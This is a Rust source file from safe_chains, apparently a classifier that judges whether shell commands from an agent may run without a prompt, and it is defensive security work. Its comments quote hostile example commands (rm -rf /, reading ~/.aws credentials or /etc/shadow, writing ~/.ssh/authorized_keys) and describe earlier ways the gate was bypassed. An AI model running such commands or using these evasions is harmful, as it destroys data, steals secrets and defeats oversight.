Skip to main content

safe_chains/cst/
check.rs

1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3use super::cwd_flow::{Cwd, CwdFlow, statement_flow};
4pub(crate) use super::functions::names_a_function;
5use super::functions::{FuncScope, define_function};
6pub(super) use super::functions::{forget_poisoned_functions, lookup_function, poison_function};
7pub(super) use super::scope_budget::scope_budget_spent;
8use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
9use super::*;
10use crate::parse::Token;
11use crate::verdict::{SafetyLevel, Verdict};
12use crate::{handlers, pathctx::judging};
13
14pub fn command_verdict(input: &str) -> Verdict {
15    let _rules = crate::allowlist::suspended();
16    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
17        return Verdict::Denied; // classification budget spent — fail closed
18    };
19    let Some(script) = parse(input) else {
20        return Verdict::Denied;
21    };
22    let verdict = script_verdict(&script);
23    if super::scope_budget::walk_untrusted() {
24        return Verdict::Denied; // shell state the walk could not track — fail closed
25    }
26    verdict
27}
28
29pub fn is_safe_command(input: &str) -> bool {
30    command_verdict(input).is_allowed()
31}
32
33pub(super) fn script_verdict(script: &Script) -> Verdict {
34    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline), Verdict::combine)
35        .into_iter()
36        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
37}
38
39/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
40/// installed, and return the per-statement results.
41///
42/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
43/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
44/// released when this returns).
45///
46/// A `cd` can fail, so what may run without it having taken effect is judged from each possible folder; `merge` folds the results.
47///
48/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
49/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
50/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
51/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
52pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T, merge: impl Fn(T, T) -> T) -> Vec<T> {
53    let (_walk, _dot_names) = (ScopeWalk::enter(), super::opaque::glob::enter_dot_names(script));
54    let _pager = super::pager_set::enter_pager_set(script);
55    let mut flow = CwdFlow::begin(crate::pathctx::cwd());
56    let (mut previous, mut ran_in): (Option<ListOp>, Vec<Cwd>) = (None, Vec::new());
57    let (mut _vars, mut _funcs): (Vec<crate::pathctx::VarGuard>, Vec<FuncScope>) = (Vec::new(), Vec::new());
58    let mut out = Vec::with_capacity(script.0.len());
59    for stmt in &script.0 {
60        let starts = flow.start(previous, &ran_in);
61        let results = starts.iter().map(|cwd| {
62            let _cwd = crate::pathctx::enter_cwd(cwd.clone());
63            per_stmt(stmt)
64        });
65        out.extend(results.reduce(&merge));
66        let effects = if scope_budget_spent() { ShellEffects::default() } else { shell_effects(&stmt.pipeline) };
67        flow = flow.then(previous, statement_flow(stmt, &effects, &starts));
68        previous = stmt.op;
69        let _cwd = crate::pathctx::enter_cwd(starts.first().cloned().flatten());
70        ran_in = starts;
71        for (name, value) in statement_assignments(&stmt.pipeline) {
72            _vars.push(crate::pathctx::enter_var(name, value));
73        }
74        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
75        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
76        // value wins for that name; a statement handled precisely contributes nothing here.
77        rebind_uncertain(effects.vars, &mut _vars);
78        for name in effects.funcs {
79            poison_function(name);
80        }
81        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
82            _funcs.push(define_function(name.clone(), body.clone()));
83        }
84    }
85    out
86}
87
88/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
89/// bound reports a possible effect, which fails closed.
90pub(super) const MAX_CD_SCAN_DEPTH: usize = 16;
91
92/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
93///
94/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
95/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
96/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
97/// precise handling matches only statement-level forms, so all of those escaped tracking:
98/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
99/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
100/// stale state is the permissive one.
101///
102/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
103/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
104#[derive(Default)]
105pub(super) struct ShellEffects {
106    pub(super) cwd: bool,
107    pub(super) vars: Vec<String>,
108    pub(super) funcs: Vec<String>,
109}
110
111/// The effects of one statement.
112fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
113    let mut out = ShellEffects::default();
114    // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
115    // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
116    // classifier's own work budget exists for. Caught by the termination guard.
117    let mut seen = Vec::new();
118    pipeline_effects(pipeline, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
119    out
120}
121
122/// A lone command's effects, or a pipeline's last stage's: zsh, and bash with `lastpipe`, run the
123/// last stage in the current shell, so `echo x | read f` may set `f`. A bare assignment or a
124/// definition there is an effect too, since `statement_assignments` binds only a lone one.
125fn pipeline_effects(pipeline: &Pipeline, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
126    let Some(last) = pipeline.commands.last() else { return };
127    if pipeline.commands.len() > 1 {
128        match last {
129            Cmd::Simple(s) if s.words.is_empty() => out.vars.extend(s.env.iter().map(|(name, _)| name.clone())),
130            Cmd::FunctionDef { name, .. } => out.funcs.push(name.clone()),
131            _ => {}
132        }
133    }
134    scan_effects(last, depth, seen, out);
135}
136
137fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
138    let Some(depth) = depth.checked_sub(1) else {
139        out.cwd = true; // out of budget — assume the worst
140        return;
141    };
142    match cmd {
143        Cmd::Simple(s) => {
144            let Some(name) = s.words.first().map(Word::eval) else {
145                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
146            };
147            out.vars.extend(super::opaque::declared_names(s));
148            if super::cd::moves_cwd(s) {
149                out.cwd = true;
150                return;
151            }
152            // A CALL runs the body in THIS shell, so its effects escape with it.
153            if seen.contains(&name) {
154                return;
155            }
156            if let Some(body) = lookup_function(&name) {
157                seen.push(name);
158                scan_script_effects(&body, depth, seen, out);
159            }
160        }
161        // The two constructs the shell really does isolate, plus forms that run nothing.
162        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
163        Cmd::BraceGroup { body, .. } => scan_script_effects(body, depth, seen, out),
164        Cmd::For { var, body, .. } => {
165            out.vars.push(var.clone());
166            scan_script_effects(body, depth, seen, out);
167        }
168        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
169            scan_script_effects(cond, depth, seen, out);
170            scan_script_effects(body, depth, seen, out);
171        }
172        Cmd::If { branches, else_body, .. } => {
173            for b in branches {
174                scan_script_effects(&b.cond, depth, seen, out);
175                scan_script_effects(&b.body, depth, seen, out);
176            }
177            if let Some(e) = else_body {
178                scan_script_effects(e, depth, seen, out);
179            }
180        }
181        Cmd::Case { arms, .. } => {
182            for a in arms {
183                scan_script_effects(&a.body, depth, seen, out);
184            }
185        }
186    }
187}
188
189/// Every statement of a body that the shell would run in the current shell: its assignments and
190/// function definitions rebind here, and its commands are scanned in turn.
191pub(super) fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
192    for st in &script.0 {
193        for (name, _) in statement_assignments(&st.pipeline) {
194            out.vars.push(name);
195        }
196        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
197            out.funcs.push(name.clone());
198        }
199        pipeline_effects(&st.pipeline, depth, seen, out);
200    }
201}
202
203/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
204/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
205/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
206/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
207fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
208    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
209        return Vec::new();
210    };
211    if !s.words.is_empty() {
212        return Vec::new();
213    }
214    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
215}
216
217/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
218/// `$refs` against the current scope first, then requires no residual `$` and no substitution
219/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
220pub(super) fn certain_value(word: &Word) -> String {
221    let text = word.eval();
222    if crate::pathctx::names_a_loop_var(&text) {
223        return UNCERTAIN_VALUE.to_string();
224    }
225    let raw = crate::pathctx::expand_vars(&text, false).into_owned();
226    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
227    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
228    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
229    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
230}
231
232/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
233/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
234/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
235pub(crate) fn is_opaque_value(raw: &str) -> bool {
236    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
237        .iter()
238        .any(|m| raw.contains(m))
239}
240
241#[cfg(test)]
242pub(crate) fn is_safe_script(script: &Script) -> bool {
243    script_verdict(script).is_allowed()
244}
245
246pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
247    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
248    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
249    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
250    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
251    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
252    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
253    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
254    for (stage, cmd) in pipeline.commands.iter().enumerate() {
255        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
256        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
257        items = super::opaque::stage_shape(cmd, items);
258        if stage + 1 < pipeline.commands.len() {
259            stream = Some(stage_output_repr(cmd, stream.as_deref()));
260        }
261    }
262    acc
263}
264
265/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
266/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
267/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
268/// must deny in BOTH gate layers.
269pub(super) const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
270
271/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
272/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
273/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
274/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
275pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
276    let Cmd::Simple(s) = cmd else {
277        return UNKNOWN_ITEM.to_string();
278    };
279    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
280    let Some(first) = words.first() else {
281        return UNKNOWN_ITEM.to_string();
282    };
283    let token = Token::from_raw(first.clone());
284    let name = crate::engine::resolve::invocation_name(&token).to_string();
285    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
286    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
287    match name.as_str() {
288        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
289        //
290        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on whether the read is admitted
291        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
292        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
293        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
294        // not be written, so a read-face test could never see it.
295        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
296            let roots = find_roots(&args);
297            let base = roots
298                .iter()
299                .max_by_key(|r| {
300                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
301                    read.max(write)
302                })
303                .copied()
304                .unwrap_or(".");
305            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
306            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
307            // cat` refused while `find / -exec cat {} \;` read the same files.
308            //
309            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
310            // literal representative because the shield genuinely CAN check that one; the
311            // distinction is whether we hold the actual path or a placeholder for it.
312            crate::engine::resolve::frozen_reach::stage_item(&name, base, &args)
313        }
314        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
315        "ls" => {
316            if super::echoed::ls_prints_operands(&args) {
317                super::echoed::printed_item("ls", &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
318            } else {
319                super::echoed::ls_item(&args).unwrap_or_else(|| UNKNOWN_ITEM.to_string())
320            }
321        }
322        // echo/printf emit their args verbatim; the worst piece of them is the representative.
323        "echo" | "printf" => super::echoed::printed_item(&name, &args).unwrap_or_else(|| UNKNOWN_ITEM.to_string()),
324        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
325        "git" => match args.first() {
326            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
327            _ => UNKNOWN_ITEM.to_string(),
328        },
329        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
330        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
331        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
332        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
333        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
334        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
335        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
336        "tee" => through(),
337        _ => UNKNOWN_ITEM.to_string(),
338    }
339}
340
341/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
342/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
343/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
344/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
345/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
346fn reads_a_file(args: &[&str]) -> bool {
347    args.iter()
348        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
349}
350
351/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
352/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
353fn reads_a_file_after_count(args: &[&str]) -> bool {
354    let mut i = 0;
355    while i < args.len() {
356        let a = args[i];
357        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
358            i += 2; // flag + its value
359            continue;
360        }
361        if a.starts_with('-') || a == "-" {
362            i += 1;
363            continue;
364        }
365        return true; // a bare positional → a file operand
366    }
367    false
368}
369
370/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
371/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
372fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
373    let mut i = 0;
374    while i < args.len() {
375        match args[i] {
376            "-H" | "-L" | "-P" => i += 1,
377            "-D" | "-O" => i += 2,
378            _ => break,
379        }
380    }
381    let mut roots = Vec::new();
382    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
383        roots.push(args[i]);
384        i += 1;
385    }
386    if roots.is_empty() {
387        roots.push(".");
388    }
389    roots
390}
391
392pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
393    pipeline_verdict(pipeline).is_allowed()
394}
395
396pub(crate) fn has_unsafe_syntax(cmd: &SimpleCmd) -> bool {
397    !check_redirects(&cmd.redirs) || has_any_substitution(cmd)
398}
399
400fn has_any_substitution(cmd: &SimpleCmd) -> bool {
401    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
402}
403
404pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
405    match cmd {
406        Cmd::Simple(s) => crate::allowlist::with_rules(s, simple_verdict),
407        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
408            let body_v = script_verdict(body);
409            if let Verdict::Denied = body_v {
410                return Verdict::Denied;
411            }
412            let redir_v = redirect_verdict(redirs);
413            if let Verdict::Denied = redir_v {
414                return Verdict::Denied;
415            }
416            body_v.combine(redir_v)
417        }
418        Cmd::For { var, items, body, redirs } => super::loops::for_verdict(var, items, body, redirs),
419        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => super::loops::while_verdict(cond, body, redirs),
420        Cmd::If { branches, else_body, redirs } => {
421            let redir_v = redirect_verdict(redirs);
422            if let Verdict::Denied = redir_v {
423                return Verdict::Denied;
424            }
425            redir_v.combine(super::loops::if_verdict(branches, else_body.as_ref()))
426        }
427        Cmd::DoubleBracket { words, redirs } => super::arith::double_bracket_verdict(words).combine(redirect_verdict(redirs)),
428        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
429        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
430        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
431        Cmd::Case { subject, arms, redirs } => {
432            let redir_v = redirect_verdict(redirs);
433            if let Verdict::Denied = redir_v {
434                return Verdict::Denied;
435            }
436            let mut v = redir_v.combine(word_sub_verdict(subject));
437            for arm in arms {
438                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
439            }
440            v
441        }
442        Cmd::FunctionDef { name, body } => super::functions::definition_verdict(name, body),
443    }
444}
445
446pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
447    cmd_verdict(cmd).is_allowed()
448}
449
450fn part_sub_verdict(part: &WordPart) -> Verdict {
451    match part {
452        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => crate::allowlist::outside_rules(|| script_verdict(inner)),
453        WordPart::Backtick(raw) => super::escape::backtick_verdict(raw),
454        WordPart::DQuote(inner) => word_sub_verdict(inner),
455        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
456        WordPart::Arith(inner) => word_sub_verdict(inner),
457        _ => Verdict::Allowed(SafetyLevel::Inert),
458    }
459}
460
461fn word_sub_verdict(word: &Word) -> Verdict {
462    word.0.iter().map(part_sub_verdict).fold(super::arith::word_verdict(word), Verdict::combine)
463}
464
465pub(super) fn words_sub_verdict(words: &[Word]) -> Verdict {
466    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
467}
468
469#[cfg(test)]
470pub(crate) fn word_subs_safe(word: &Word) -> bool {
471    word_sub_verdict(word).is_allowed()
472}
473
474fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
475    let redir_v = redirect_verdict(&cmd.redirs);
476    if let Verdict::Denied = redir_v {
477        return Verdict::Denied;
478    }
479
480    let env_sub_v = cmd
481        .env
482        .iter()
483        .map(|(_, v)| word_sub_verdict(v))
484        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
485    let word_sub_v = words_sub_verdict(&cmd.words);
486
487    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
488    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
489    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
490    //
491    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
492    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
493    // invocation is a write even when the command word is inert. Propagating only `Denied` here
494    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
495    // spelled `touch ./x` did not.
496    let env_name_v = cmd
497        .env
498        .iter()
499        .map(|(name, value)| crate::envvars::statement_assignment_verdict(name, &value.eval(), cmd.words.is_empty()))
500        .fold(crate::envvars::rebinding_verdict(&cmd.words).combine(super::arith::command_verdict(cmd)), Verdict::combine);
501    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v).combine(super::search_quote::verdict(cmd));
502
503    if let Verdict::Denied = sub_v {
504        return Verdict::Denied;
505    }
506
507    if cmd.words.is_empty() {
508        if cmd.env.is_empty() {
509            return Verdict::Allowed(SafetyLevel::Inert);
510        }
511        return sub_v.combine(redir_v);
512    }
513
514    let name = cmd.words[0].eval();
515
516    // A function shadows everything it names, builtins like `eval` included, so it resolves first.
517    if let Some(call) = super::functions::call_verdict(cmd, &name) {
518        return sub_v.combine(call).combine(redir_v);
519    }
520
521    if name == "eval" {
522        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
523    }
524
525    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
526    // would run is classified — a braced word must not hide a system path from the gate.
527    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
528    if words.iter().all(Vec::is_empty) {
529        return Verdict::Allowed(SafetyLevel::Inert);
530    }
531    if super::opaque::smuggles_a_flag(cmd) {
532        return Verdict::Denied;
533    }
534
535    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
536    sub_v.combine(cmd_v).combine(redir_v)
537}
538
539fn leaf_verdict(tokens: &[Token]) -> Verdict {
540    crate::handlers::direct_script::judged(tokens, |tokens| {
541        let legacy = handlers::dispatch(tokens);
542        super::netargs::with_egress(tokens, crate::engine::bridge::gated_engine_verdict(tokens).unwrap_or(legacy))
543    })
544}
545
546fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
547    if cmd.words.len() < 2 {
548        return Verdict::Denied;
549    }
550    for arg in &cmd.words[1..] {
551        if !arg_is_eval_safe(arg) {
552            return Verdict::Denied;
553        }
554    }
555    Verdict::Allowed(SafetyLevel::Inert)
556}
557
558fn arg_is_eval_safe(word: &Word) -> bool {
559    let mut found_safe = false;
560    for part in &word.0 {
561        match part {
562            WordPart::Lit(s) | WordPart::SQuote(s) => {
563                if !s.chars().all(char::is_whitespace) {
564                    return false;
565                }
566            }
567            WordPart::Escape(c) => {
568                if !c.is_whitespace() {
569                    return false;
570                }
571            }
572            WordPart::CmdSub(script) => {
573                if !script_yields_eval_safe(script) {
574                    return false;
575                }
576                found_safe = true;
577            }
578            WordPart::Backtick(raw) => {
579                let Some(script) = super::escape::parse_backtick(raw) else {
580                    return false;
581                };
582                if !script_yields_eval_safe(&script) {
583                    return false;
584                }
585                found_safe = true;
586            }
587            WordPart::DQuote(inner) => {
588                if !arg_is_eval_safe(inner) {
589                    return false;
590                }
591                if has_substitution(inner) {
592                    found_safe = true;
593                }
594            }
595            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
596        }
597    }
598    found_safe
599}
600
601fn script_yields_eval_safe(script: &Script) -> bool {
602    if script.0.len() != 1 {
603        return false;
604    }
605    let stmt = &script.0[0];
606    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
607        return false;
608    }
609    let pipeline = &stmt.pipeline;
610    if pipeline.bang || pipeline.commands.len() != 1 {
611        return false;
612    }
613    let Cmd::Simple(s) = &pipeline.commands[0] else {
614        return false;
615    };
616    if !s.env.is_empty() {
617        return false;
618    }
619    // A redirect inside the substitution is allowed only if it's inert:
620    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
621    // A redirect that writes a real file is SafeWrite, not inert, so
622    // `mise activate bash > evil` is rejected — eval-safe must not gain a
623    // file-write side effect, and diverting stdout to a file is pointless here.
624    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
625        return false;
626    }
627    for w in &s.words {
628        if !word_is_plain_literal(w) {
629            return false;
630        }
631    }
632    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
633    if tokens.is_empty() {
634        return false;
635    }
636    crate::registry::is_eval_safe_invocation(&tokens)
637}
638
639/// True iff every character of `word` is drawn from the bare-literal
640/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
641/// matching this shape consist entirely of identifier-style or
642/// path-style tokens that the shell will pass through to the
643/// substituted command unchanged at runtime.
644///
645/// Required for words inside eval-safe substitutions because the
646/// "stdout is shell-init code" trust depends on the contributor having
647/// vetted what gets passed to the tool. Restricting the alphabet to
648/// chars with no shell-expansion semantics keeps the substituted
649/// invocation static across parse-time and runtime — what you see in
650/// the source is what the tool receives.
651fn word_is_plain_literal(word: &Word) -> bool {
652    word.0.iter().all(part_is_plain_literal)
653}
654
655fn part_is_plain_literal(part: &WordPart) -> bool {
656    match part {
657        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
658        WordPart::Escape(c) => is_bare_literal_char(*c),
659        WordPart::DQuote(inner) => word_is_plain_literal(inner),
660        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
661    }
662}
663
664/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
665/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
666/// and the long-flag value form (`=`). New chars require an explicit
667/// eval-safe use case — add by extending this match, never by
668/// excluding individual hostile chars.
669fn is_bare_literal_char(c: char) -> bool {
670    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
671}
672
673/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
674/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
675///
676/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
677/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
678/// that second copy was wrong in BOTH directions:
679///
680/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
681///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
682///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
683/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
684///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
685///
686/// One model, one answer. A grant covers the command; the redirect is still gated by where it
687/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
688pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
689    redirect_verdict(redirs).is_allowed()
690}
691
692/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
693/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
694/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
695/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
696/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
697/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
698fn is_safe_write_target(path: &str) -> bool {
699    crate::engine::resolve::write_target_verdict(path).is_allowed()
700}
701
702/// The verdict for a redirect that OPENS `target` for writing. Brace sequences expand first.
703fn write_face(target: &Word) -> Verdict {
704    super::eval::judge_write(target, is_safe_write_target)
705}
706
707/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
708/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
709/// substitution-derived source names an unknowable file → fail-closed to Denied. Brace sequences
710/// expand first, and the locus is read off that expanded spelling.
711fn read_face(target: &Word) -> Verdict {
712    super::eval::judge_read(target, is_opaque_value)
713}
714
715pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
716    let mut level = Verdict::Allowed(SafetyLevel::Inert);
717    for r in redirs {
718        match r {
719            Redir::Write { target, .. } => {
720                level = level.combine(word_sub_verdict(target));
721                level = level.combine(write_face(target));
722            }
723            Redir::Read { target, .. } => {
724                level = level.combine(word_sub_verdict(target));
725                level = level.combine(read_face(target));
726            }
727            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
728            // the other face through: the write gate alone misses reading a secret, and the read
729            // gate alone misses overwriting a file that is merely readable.
730            Redir::ReadWrite { target, .. } => {
731                level = level.combine(word_sub_verdict(target));
732                level = level.combine(write_face(target));
733                level = level.combine(read_face(target));
734            }
735            Redir::HereStr(word) => {
736                level = level.combine(word_sub_verdict(word));
737            }
